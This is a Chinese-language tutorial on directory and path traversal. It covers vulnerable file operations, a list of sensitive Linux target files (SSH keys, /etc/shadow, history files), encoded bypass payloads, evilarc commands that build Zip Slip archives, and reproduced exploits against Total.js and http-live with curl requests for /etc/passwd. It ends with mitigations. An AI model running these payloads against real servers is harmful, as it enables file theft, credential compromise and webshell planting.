- 漏洞名称:目录穿越(Directory traversal) 路径穿越(Path traversal)
- 漏洞原理:攻击者通过可控的输入,通过"参数值"、"构造的压缩文件"等形式,将构造的"路径"传递给后端逻辑,实现路径穿越。
- 漏洞案例: CVE - directory traversal
- 漏洞场景:任意文件"CURD"操作 即 写入(新建+覆盖) 修改 读取 删除 都可能存在目录穿越漏洞.
- 新建文件 - 上传压缩文件功能(常见于 手动更新升级包 恢复配置信息 等功能)
- 例1 上传zip文件 如果后端解压逻辑直接解压文件 未考虑压缩包中的条目名称(文件名)可能包含
../
则存在目录穿越漏洞. 可构造压缩包进行利用
- 例1 上传zip文件 如果后端解压逻辑直接解压文件 未考虑压缩包中的条目名称(文件名)可能包含
- 新建文件 - 上传文件功能
- 例2 如果后端接受了文件名 且未考虑文件名中的
../
直接拼接路径与文件名 则存在目录穿越漏洞. 可构造文件名进行利用../filename.txt
覆盖任意文件
- 例2 如果后端接受了文件名 且未考虑文件名中的
- 读取文件 - 下载文件功能.
- 例3 如果后端接受了文件名 且未考虑文件名中的
../
直接拼接路径与文件名 则存在目录穿越漏洞. 可构造文件名进行利用../filename.txt
读取任意文件
- 例3 如果后端接受了文件名 且未考虑文件名中的
- 修改文件 - 编辑文件功能.(常见于 文件管理功能 能够编辑文件信息、重命名文件)
- 例4 如果后端接受了文件名 且未考虑文件名中的
../
直接拼接路径与文件名 则存在目录穿越漏洞. 在文件管理功能处 重命名文件为../etc/passwd
实现读取任意文件
- 例4 如果后端接受了文件名 且未考虑文件名中的
- 新建文件 - 上传压缩文件功能(常见于 手动更新升级包 恢复配置信息 等功能)
-
利用思路
- 读取 - 主机信息搜集
- 写入 - 获取权限
- 删除 - 重新安装web应用获取权限
-
linux - 参考linux文件字典dictionary/file_linux_path.txt
- web目录
- "读取" - 读取web目录下的配置文件/应用代码等
- "写入" - 把webshell内容写入到目标主机web目录文件中 得到webshell
- 凭证信息
/root/.ssh/id_rsa
~/.ssh/id_rsa
ssh私钥/root/.ssh/authorized_keys
文件内容为公钥和主机名- "读取" - 目标机的该文件只是知道了哪些主机可以公钥登录这台主机.
- "写入" - 该文件则可使攻击者主机登录目标机.
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
登录用户名- "写入" - 覆盖鉴权认证文件,把已知ssh账号口令的
/etc/passwd
写入到目标主机 攻击者可使用ssh口令登录目标机
- "写入" - 覆盖鉴权认证文件,把已知ssh账号口令的
/etc/shadow
登录口令密文- "读取" - 可用rainbow table破解(概率不大)
- 敏感日志文件
/root/.bash_history
用户历史命令记录文件/root/.mysql_history
MySQL历史命令记录文件- WEB应用日志等
- 基本信息
/proc/version
内核版本号/proc/cpuinfo
cpu信息/proc/meminfo
内存信息
- 中间件
- root权限下读取
/var/lib/mlocate/mlocate.db
/proc/self/cmdline
通常可发现tomcat相关信息
- root权限下读取
- 代码信息 读取web应用的代码做代码审计
- Java中Tomcat的
WEB-INF
目录下的WEB-INF/web.xml
等配置文件 得到.class
等文件的路径字符串 - PHP
php.ini
- Java中Tomcat的
- 配置信息(可获得 凭证 ip port 域名 URL路径 .log等文件路径)
- 数据库配置 redis
redis.conf
- 数据库配置 MySQL
/etc/my.cnf
/etc/mysql/my.cnf
- 中间间配置 Nginx
nginx.conf
- 中间间配置 Apache
httpd.conf
- 数据库配置 redis
- 进程信息
- 计划任务信息
- 网络与ACL信息
- 获取ssh的ACL信息
/etc/hosts.allow
中的IP被允许登录该主机ssh 而/etc/hosts.deny
中的IP被禁止登录该主机的ssh - 获取IPv4的ACL策略
/etc/sysconfig/iptables
IPv6的ACL策略/etc/sysconfig/ip6tables
- 获取目标主机的TCP连接
/proc/net/tcp
- 获取目标主机的UDP连接
/proc/net/udp
- 获取目标主机的ARP缓存
/proc/net/arp
- 从hosts获取域名及ip 可能有内网相关信息
/etc/hosts
- 获取ssh的ACL信息
- web目录
-
windows - 参考windows文件字典dictionary/file_windows_info.txt
系统相关
root directory | directory separator | |
---|---|---|
Unix-like OS | / |
/ |
Windows | <drive letter>:\ |
\ or / |
Unix-like OS(macOS下实际测试)
上级目录
../
当前目录
./
查看上级目录下的1.txt的命令有很多(因为./表示当前目录 加多个也不影响 没作用)
直接查看
cat ../1.txt
在跨目录之后使用./
cat .././1.txt
cat ../././1.txt
在跨目录之前使用./
cat ./../1.txt
cat ././../1.txt
在跨目录之前之后都使用./
cat ./.././1.txt
cat ././../././1.txt
使用dotdotpwn.txt或手工进行fuzz
# Encoding and double encoding
%2e%2e%2f represents ../
%2e%2e/ represents ../
..%2f represents ../
%2e%2e%5c represents ..\
%2e%2e\ represents ..\
..%5c represents ..\
%252e%252e%255c represents ..\
..%255c represents ..\
# Web容器对form和URL中的"百分比编码"执行一级解码(one level of decoding)
..%c0%af represents ../
..%c1%9c represents ..\
- 压缩文件 解压过程实现目录穿越
- 压缩文件中的文件名 - 压缩包中的文件名带有
..
在压缩包提取过程中 覆盖任意文件- CVE-2001-1267 GNU tar 1.13.19及更早版本中的目录遍历漏洞
- CVE-2001-1268Info-ZIP UnZip 5.42及更早版本中的目录遍历漏洞
- CVE-2016-10173 Minitar目录遍历漏洞
- CVE-2017-5946 Rubyzip目录遍历漏洞 修复diff
- ...
- 压缩文件中的文件为符号链接文件 - 期望通过解压symlinks文件 得到其指向的真实文件的内容
- zip压缩包 成功 解压得到了symlinks文件指向的真实文件的内容
- tar压缩包 失败 解压得到了symlinks文件自身
- 其他压缩文件格式 暂未测试
- 压缩文件中的文件名 - 压缩包中的文件名带有
参考ZIP File Format Specification可知 压缩包内的文件名 可带相对路径(而不能带绝对路径 根路径)
4.4.17.1 The name of the file, with optional relative path.
The path stored MUST NOT contain a drive or
device letter, or a leading slash. All slashes
MUST be forward slashes '/' as opposed to
backwards slashes '\' for compatibility with Amiga
and UNIX file systems etc. If input came from standard
input, there is no file name field.
由此实现
构造压缩文件 -> 解压该压缩文件(archive extraction) -> 目录穿越导致任意文件写入(Arbitrary File Write) -> 远程命令执行
压缩文件类型 理论上包括tar
, jar
, war
, cpio
, apk
, rar
, 7z
...
构造特殊的压缩文件:因为常规zip软件不会允许待压缩文件 带有字符串../
的文件名 所以使用对应标准库来创建
# 构造压缩文件
# testfile为解压后的文件
# --depth指定有几个../
# --os 为win时即指定路径分割符为反斜杠\ 为其他字符时则为正斜杠/
# --output-file指定文件名和后缀 支持的后缀有
# --path指定穿越后的目录
# 打开1.tar(无则新建) 添加3个文件 testfile 222 111
python evilarc.py testfile --os=unix --depth=1 --output-file=1.tar --path=admin/manage
python evilarc.py 222 --os=unix --depth=2 --output-file=1.tar -p admin/Bdir
python evilarc.py 111 --os=unix --depth=0 --output-file=1.tar
查看压缩文件详情
# 查看压缩文件详情的命令
7z l 1.tar
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,8 CPUs x64)
Scanning the drive for archives:
1 file, 10240 bytes (10 KiB)
Listing archive: 1.tar
--
Path = 1.tar
Type = tar
Physical Size = 10240
Headers Size = 7680
Code Page = UTF-8
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2019-05-12 12:39:36 ..... 7 512 ../admin/manage/testfile
2019-01-13 17:40:49 ..... 686 1024 ../../admin/Bdir/222
2019-01-12 19:19:22 ..... 726 1024 111
------------------- ----- ------------ ------------ ------------------------
2019-05-12 12:39:36 1419 2560 3 files
解压
(bsdtar 2.8.3 - libarchive 2.8.3)
用mac自带的tar进行解压 tar -xvf 1.tar
结果显示如下
x ../admin/manage/testfile: Path contains '..'
x ../../admin/Bdir/222: Path contains '..'
x 111
tar: Error exit delayed from previous errors.
实际只有文件111是解压成功的,而同一压缩包的其他两个文件因为文件名包含了..
而解压失败.(tar默认是禁止提取 文件名包含了..
的文件)
覆盖/etc/passwd
文件 前提 有root权限
# 将passwd文件放到压缩包中 目录为../etc/passwd
python evilarc.py passwd --os=unix --depth=1 --path etc --output-file=1.zip
python evilarc.py passwd --os=unix --depth=2 --path etc --output-file=1.zip
python evilarc.py passwd --os=unix --depth=3 --path etc --output-file=1.zip
...
以便于“盲”覆盖目标系统中的/etc/passwd
文件
创建一个符号链接文件(symlinks)
ln -s ../etc/passwd pass
文件名pass
文件大小19 bytes
构造zip压缩包 将该文件压缩
python evilarc.py pass --os=unix --depth=0 --output-file=1.zip
解压
unzip 1.zip
解压过程无任何报错 提取出了一个文件
文件名:pass
大小:7kb
内容与etc/passwd
完全相同
成功.
参考自zip-slip-vulnerability/README.md
受过影响的库(现已修复)
Affected Libraries
Vendor | Product | Language | Confirmed vulnerable | Fixed Version | CVE | Fixed(diff) |
---|---|---|---|---|---|---|
npm library | unzipper | JavaScript | YES | 0.8.13 | CVE-2018-1002203 | 17/4/2018 |
npm library | adm-zip | JavaScript | YES | 0.4.9 | CVE-2018-1002204 | 23/4/2018 |
Java library | codehaus/plexus-archiver | Java | YES | 3.6.0 | CVE-2018-1002200 | 6/5/2018 |
Java library | zeroturnaround/zt-zip | Java | YES | 1.13 | CVE-2018-1002201 | 26/4/2018 |
Java library | zip4j | Java | YES | 1.3.3 | CVE-2018-1002202 | 13/6/2018 |
.NET library | DotNetZip.Semverd | .NET | YES | 1.11.0 | CVE-2018-1002205 | 7/5/2018 |
.NET library | SharpCompress | .NET | YES | 0.21.0 | CVE-2018-1002206 | 2/5/2018 |
Go library | mholt/archiver | Go | YES | e4ef56d4 | CVE-2018-1002207 | 17/4/2018 |
Oracle | java.util.zip | Java | * No High Level API | Documentation Fix | N/A | |
Apache | commons-compress | Java | * No High Level API | Documentation Fix | N/A | 23/4/2018 |
.NET library | SharpZipLib | .NET | YES | v1.0.0 | CVE-2018-1002208 | 19/8/2018 |
Ruby gem | zip-ruby | Ruby | * No High Level API | N/A | ||
Ruby gem | rubyzip | Ruby | YES | CVE-2018-1000544 | ||
Ruby gem | zipruby | Ruby | * No High Level API | N/A | ||
Go library | archive | Go | * No High Level API | N/A | ||
Python library | tarfile | Python | YES | N/A | ||
C++/qt library | quazip | C++ | YES | 0.7.6 | CVE-2018-1002209 | 12/6/2018 |
Clojure library | Raynes/fs | Clojure | YES | akvo/fs 20180618-134534.a44cdd5b | N/A | 18/6/2018 |
Go library | cloudfoundry/archiver | Go | YES | 24/5/2018 | N/A | 24/5/2018 |
受过影响的项目(现已修复)
Projects Affected and Fixed
Vendor | Product | Fixed date(diff) | Fixed version | CVE | Vulnerable Code |
---|---|---|---|---|---|
Apache Storm | Storm | 2/5/2018 | 1.1.3, 1.2.2 | CVE-2018-8008 | #1 #2 #3 #4 |
Apache Software Foundation | Apache Hadoop | 30/5/2018 #1 #2 | 2.7.7, 2.8.5, 2.9.2, 3.0.3, 3.1.1 | CVE-2018-8009 | |
Apache | Maven | ||||
Apache | Ant | 21/4/2018 | 1.9.12 | CVE-2018-10886 | |
Pivotal | spring-integration-zip | 3/5/2018 | 1.0.1 | CVE-2018-1261 | |
Pivotal | spring-integration-zip | 10/5/2018 | 1.0.2 | CVE-2018-1263 | |
HP | Fortify Cloud Scan Jenkins Plugin | 27/4/2018 | 1.5.2 | #1 | |
OWASP | DependencyCheck | 7/5/2018 | 3.2.0 | CVE-2018-12036 | |
Amazon | AWS Toolkit for Eclipse | 31/5/2018 | |||
SonarSource | SonarQube | 4/5/2018 | 6.7.4 LTS, 7.2 | #1 | |
Cinchapi | Concourse | 30/5/2018 | #1 | ||
Orient Technologies | OrientDB | 31/5/2018 | #1 #2 | ||
FenixEdu | Academic | 30/5/2018 | #1 | ||
Lucee | Lucee | 5/6/2018 | 5.2.7.63, 5.2.8.47 | #1 | |
groovy-common-extensions | groovy-common-extensions | 3/7/2018 | 0.7.1 | #1 | |
fabric8 | fabric8 | 5/6/2018 | 2.2.170-85 | #1 | |
Apache | Tika | 19/9/2018 | 1.19 | ||
Apache | DeepLearning4J | 10/24/2018 | 1.0.0-SNAPSHOT | ||
参考[Total.js] Path traversal vulnerability allows to read files outside public directory
代码仓库 https://github.com/totaljs/framework
环境搭建
git clone https://github.com/totaljs/emptyproject
cd emptyproject
npm install [email protected]
node debug.js
漏洞利用
# 因为以下URL中并没有../ 所以不必用--path-as-is选项避免"压缩"
curl -i "http://0.0.0.0:8000/%2E%2E/controllers/default.js"
curl -i "http://0.0.0.0:8000/%2E%2E/public/robots.txt"
curl -i "http://0.0.0.0:8000/%2E%2E/debug.js"
# 读取.js .txt 文件成功 (无法读取没有后缀的文件 某些后缀的文件 取决于配置)
漏洞分析
存在目录穿越漏洞的代码 第8088行 https://github.com/totaljs/framework/blob/3fd5788ef28f3caf944d76a1135ab367bc0953b8/index.js#L8088
// req.uri.pathname的值: 如访问1.com/path/name 则 req.uri.pathname为/path/name
// 遍历每一个字符 和它的下一个字符 (除了最后一个 因为最后一个字符没有下一个字符)
for (var i = 0; i < req.uri.pathname.length - 1; i++) {
var c = req.uri.pathname[i];
var n = req.uri.pathname[i + 1];
// 逻辑:如果字符串req.uri.pathname存在黑名单字符串则返回404
// 这里黑名单为 ./ .% %2e 注意 没有%2E
if ((c === '.' && (n === '/' || n === '%')) || (c === '%' && n === '2' && req.uri.pathname[i + 2] === 'e')) {
//return 404
}
//...
修复之后
const TRAVELCHARS = { e: 1, E: 1 };
// ...
// req.uri.pathname的值: 如访问1.com/path/name 则 req.uri.pathname为/path/name
// 遍历每一个字符 和它的下一个字符 (除了最后一个 因为最后一个字符没有下一个字符)
for (var i = 0; i < req.uri.pathname.length - 1; i++) {
var c = req.uri.pathname[i];
var n = req.uri.pathname[i + 1];
// 逻辑:如果字符串req.uri.pathname存在黑名单字符串则返回404
// 这里黑名单为 ./ .% %2e %2E
if ((c === '.' && (n === '/' || n === '%')) || (c === '%' && n === '2' && TRAVELCHARS[req.uri.pathname[i + 2]])) {
//return 404
}
//...
代码仓库
环境搭建
# macOS 10.14.4
cd /Users/xxx/Downloads
# Install the module
npm install -g [email protected]
# Run the server
http-live
漏洞利用
# Attempt to access a file from outside that project's directory
# 其中curl的参数--path-as-is 表示"Do not squash .. sequences in URL path" 不压缩url路径中的..
# 构造payload如下 都成功了
# payload1 将 `/../` 替换为 `//../../`
curl --path-as-is http://localhost:8080//../../../../etc/passwd
# 最终绝对路径为/Users/xxx/Downloads/../../../etc/passwd
# payload2 将 `/../` 替换为 `/./.././`
curl --path-as-is http://localhost:8080/./../././../././../././.././etc/passwd
# 最终绝对路径为/Users/xxx/Downloads/.././../././../././.././etc/passwd
# 为了便于理解 可以自行去除其中无实际作用的./ 得到与绕过方式1相同的最终绝对路径 /Users/xxx/Downloads/../../../../etc/passwd
payload1绕过过程分析 查看文件bin/http-live可知后端逻辑如下
# 71行 var pathname = url.parse(req.url, true).pathname;
# 直接从url中获取pathname的参数值 得到 //../../../../etc/passwd
# 72行 pathname = pathname.replace("/../",""); 将参数值中的`/../` 替换为空 仅替换一次(修复无效 可被绕过).
# 此时 pathname参数值变为 /../../../etc/passwd
# 90行 拼接得到绝对路径 abspath = process.cwd() + pathname; #注意 process.cwd()返回当前目录/Users/xxx/Downloads 注意结尾不是斜杠符号
# 92行 此时绝对路径abspath值为 /Users/xxx/Downloads/../../../etc/passwd
# (所以构造payload时url中8000后面必须有两个连续的/才对 否则路径构造错误 文件不存在 跳出 返回404)
# 93行 if (fs.existsSync(abspath)) { // 路径正确 文件存在
# 94行 fs.readFile(abspath, function(err, data) { // 将绝对路径实参 abspath 传入到fs.readFile函数
# 98行 res.write(data); //将文件内容作为response body
# 99行 res.end(); //返回响应
# 实现了任意文件读取.
可见1.0.7 的修复
diff: https://github.com/prahladyeri/http-live-simulator/commit/354644525f1626c5921abac10913c0d47f1f1433
关键代码在bin/http-live
中的72-74行 是将参数值中的/../
替换为空 循环替换 直到不存在/../
为止 如下
while(pathname.indexOf("/../") != -1) {
pathname = pathname.replace("/../",""); //fix for path traversal bug
}
为什么只用/
测试 而不用\
测试?
因为在这个例子中用到node库中url.parse函数 它会把\
转换为/
参考node自带库中url.parse的定义 https://github.com/nodejs/node/blob/master/lib/url.js
测试一下node自带的fs模块中的readFile
函数
1.读取普通文件(files)
# 读取普通文件 将文件内容转化为文本 输出
var mypath = "/Users/xxx/Downloads/../../../etc/passwd";fs.readFile(mypath,function(err,data){console.log(data.toString())})
# 如果过滤不严格可以实现目录穿越.
2.对"符号链接文件"(symlinks)的读取都是"预期行为"(expected behavior)
# 创建一个名为symfile的符号链接文件 指向../1.txt
ln -s ../1.txt symfile
# 用`readFile`函数读取它:一个名为symfile的符号链接文件
var mypath = "/Users/xxx/Downloads/symfile";fs.readFile(mypath,function(err,data){console.log(data.toString())})
# 结果:实际上可以读取到"符号链接文件"指向的真正文件的内容 规定目录之外的文件1.txt的内容也可以读取到
# 对"符号链接文件"(symlinks)的读写是目录穿越漏洞吗? 不是
# 因为 "符号链接文件"(symlinks)只能在本机有效,不存在真实的攻击场景.(上传任何symlinks到别的主机都不可能实现)
# 所以 对"符号链接文件"(symlinks)的读取都是"预期行为"(expected behavior)
- 限制web应用可访问的目录
- PHP 在配置文件php.ini中指定open_basedir的值,如windows下用
;
分割open_basedir = D:\soft\sites\www.a.com\;
linux下用:
分割/home/wwwroot/tp5/:/tmp/:/var/tmp/:/proc/
- PHP 在配置文件php.ini中指定open_basedir的值,如windows下用
- web应用设计-避免路径可控(尤其关注"文件操作类"的功能与函数)
- web应用设计-循环替换"某些字符串"为空 如
..
./
.\
\\
//
等 并 使用编程语言函数获取"将要解压的文件夹路径"的"规范路径名" 并判断它是否以预期设计的合法的"目的文件夹"开头 - web应用设计-使用成熟的压缩解压操作库 避免文件解压过程中出现路径穿越漏洞